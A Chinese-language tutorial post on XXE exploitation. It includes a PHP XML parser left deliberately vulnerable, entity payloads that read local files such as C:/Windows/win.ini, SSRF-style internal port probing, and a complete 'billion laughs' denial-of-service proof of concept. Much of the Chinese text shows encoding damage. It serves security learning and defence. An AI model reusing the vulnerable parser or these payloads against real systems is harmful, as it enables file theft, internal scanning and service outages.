XXE利用(2)--漏洞實(shí)現(xiàn)

XXE前置要求

只有知道開發(fā)時(shí)如何生成,傳輸,使用XML文件才能夠知道如何進(jìn)行漏洞利用,代碼審計(jì),以及防范。


php生成XML文件

目標(biāo)將前端提交數(shù)據(jù)到后端來進(jìn)行生成XML


前端登錄測試頁面
<?php
header('Content-Type: text/xml;');
$dom = new DomDocument('1.0','utf-8');// 創(chuàng)建頭部聲明
$rootEle = $dom->createElement('userinfo');//創(chuàng)建根節(jié)點(diǎn)
$dom->appendChild($rootEle);//追加到DOM對象 
$user = $_POST['user'];//追加元素 
$userNode = $dom->createTextNode($user);
$line = $dom->createElement('user');//創(chuàng)建元素 
$line->appendChild($userNode);
$rootEle->appendChild($line);//追加元素 
$pass = $_POST['password'];//追加元素 
$passNode = $dom->createTextNode($pass);
$line = $dom->createElement('password');//創(chuàng)建元素 
$line->appendChild($passNode);
$rootEle->appendChild($line);//追加元素 
$str = $dom->saveXML();//保存 
echo $str;
?>

通過POST關(guān)鍵數(shù)據(jù)user和password到后端,進(jìn)行php生成xml
例如post數(shù)據(jù) user : test password : 123456

成功生成XML文件,并成功顯示

XML數(shù)據(jù)傳輸至后端解析

提交XML實(shí)體執(zhí)行

將xml代碼通過留言板的方式提交至后端,成功執(zhí)行DTD中聲明的實(shí)體

<?php
libxml_disable_entity_loader(false);
$data = isset($_POST['xxe'])?trim($_POST['xxe']):'';
$resp = '';
if($data != false){
    $dom = new DOMDocument();
    $dom->loadXML($data, LIBXML_NOENT);
    ob_start();
    var_dump($dom);
    $resp = ob_get_contents();
        echo $resp;
    ob_end_clean();

}

其中的關(guān)鍵代碼libxml_disable_entity_loader(false);允許外部實(shí)體加載


XXE漏洞利用

  1. 任意文件讀取
    為了能夠更好的理解,任意文件讀取的意思,我在網(wǎng)站同目錄下創(chuàng)建了標(biāo)志性的txt文本文件
    1.txt文件內(nèi)容

    通過修改實(shí)體內(nèi)容,修改為<!ENTITY content SYSTEM "./1.txt">
    成功實(shí)現(xiàn)了txt文件讀取

    為了證明文件讀取是可以在網(wǎng)站目錄范圍外,本次嘗試讀取非網(wǎng)站內(nèi)的文件windows系統(tǒng)存在的C:/Windows/win.ini文件。
    通過外部實(shí)體讀取到關(guān)鍵文件C:/Windows/win.ini
  2. 端口探測
    這個(gè)漏洞利用,有點(diǎn)類似與SSRF,通過服務(wù)器來進(jìn)行內(nèi)網(wǎng)(攻擊者未獲得授權(quán))的服務(wù)器/個(gè)人電腦進(jìn)行端口掃描。
    通過修改實(shí)體內(nèi)容,修改為<!ENTITY content SYSTEM "http://192.168.163.128">來探測80端口
    成功探測到80端口開放

    發(fā)現(xiàn)了相關(guān)標(biāo)簽,以及html中空格的&nbsp實(shí)體的警告,進(jìn)一步知道該端口有web服務(wù)運(yùn)行。
    8080端口依舊開放

    8888端口未開放

    通過對其他端口的測試也發(fā)現(xiàn)了開放與未開放的不同之處。
  3. 執(zhí)行系統(tǒng)命令
    要通過利用XXE漏洞執(zhí)行系統(tǒng)命令,需要一定的環(huán)境條件,需要安裝expect擴(kuò)展,詳細(xì)攻擊效果可參考加油站資料。


    執(zhí)行系統(tǒng)命令,環(huán)境不存在導(dǎo)致無法執(zhí)行
  4. 發(fā)起Dos攻擊(又稱為XEE漏洞,XML實(shí)體膨脹)
    由于自身Web服務(wù)原因,對于該項(xiàng)利用方式,不親自進(jìn)行演示,附上如下POC代碼,本身原理,就是通過實(shí)體的嵌套性使用導(dǎo)致
<?xml version = "1.0"?>
<!DOCTYPE lolz [
<!ENTITY lol "lol">
<!ELEMENT lolz (#PCDATA)>
<!ENTITY lol1 "&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;">
<!ENTITY lol2 "&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;">
<!ENTITY lol3 "&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;">
<!ENTITY lol4 "&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;">
<!ENTITY lol5 "&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;">
<!ENTITY lol6 "&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;">
<!ENTITY lol7 "&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;">
<!ENTITY lol8 "&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;">
<!ENTITY lol9 "&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;">]>
<lolz>&lol9;</lolz>

加油站

  1. 強(qiáng)烈推薦
    騰訊安全應(yīng)急響應(yīng)中心發(fā)布的 未知攻焉知防——XXE漏洞攻防
    安全客 【技術(shù)分享】XXE漏洞攻防之我見
  2. 對Dos攻擊方式的詳細(xì)解答 XXE注入攻擊與防御
  3. Freebuf Blind XXE詳解與Google CTF一道題分析
  4. AD攻防工作室 Xml 外部實(shí)體注入(xxe)
  5. 博客園 XML外部實(shí)體(XXE)注入詳解

第一篇:XML簡介(1)--頭部聲明
第二篇:XML編寫(2)--語法要求
第三篇:XML規(guī)范(3)--DTD限制
第四篇:XML引用(4)--DTD應(yīng)用
第五篇:XXE基礎(chǔ)(1)--實(shí)體類別
第七篇:XXE后記(3)--拋磚引玉

最后編輯于
?著作權(quán)歸作者所有,轉(zhuǎn)載或內(nèi)容合作請聯(lián)系作者
【社區(qū)內(nèi)容提示】社區(qū)部分內(nèi)容疑似由AI輔助生成,瀏覽時(shí)請結(jié)合常識(shí)與多方信息審慎甄別。
平臺(tái)聲明:文章內(nèi)容(如有圖片或視頻亦包括在內(nèi))由作者上傳并發(fā)布,文章內(nèi)容僅代表作者本人觀點(diǎn),簡書系信息發(fā)布平臺(tái),僅提供信息存儲(chǔ)服務(wù)。

相關(guān)閱讀更多精彩內(nèi)容

  • 1. XXE簡介 XXE(XML外部實(shí)體注入,XML External Entity) ,漏洞在對不安全的外部實(shí)體...
    AxisX閱讀 4,389評論 0 2
  • *本文中涉及到的相關(guān)漏洞已報(bào)送廠商并得到修復(fù),本文僅限技術(shù)研究與討論,嚴(yán)禁用于非法用途,否則產(chǎn)生的一切后果自行承擔(dān)...
    kakaLP閱讀 1,505評論 0 2
  • XML簡介 本節(jié)內(nèi)容結(jié)合了《Web hacking 101》,鏈接在本文末尾,此書不錯(cuò),基于hackerone上的...
    jjf012閱讀 14,582評論 3 6
  • 1簡述 XXE(XML External Entity)是指xml外部實(shí)體攻擊漏洞。XML外部實(shí)體攻擊是針對解析X...
    這是什么娃哈哈閱讀 6,465評論 0 0
  • 溝通是現(xiàn)代人必備的功課,與家人的溝通,與朋友的溝通,與同事的溝通,甚至與領(lǐng)導(dǎo)的溝通。都需要我們具備一定的基本常識(shí)或...
    郭慕潔閱讀 435評論 0 0

友情鏈接更多精彩內(nèi)容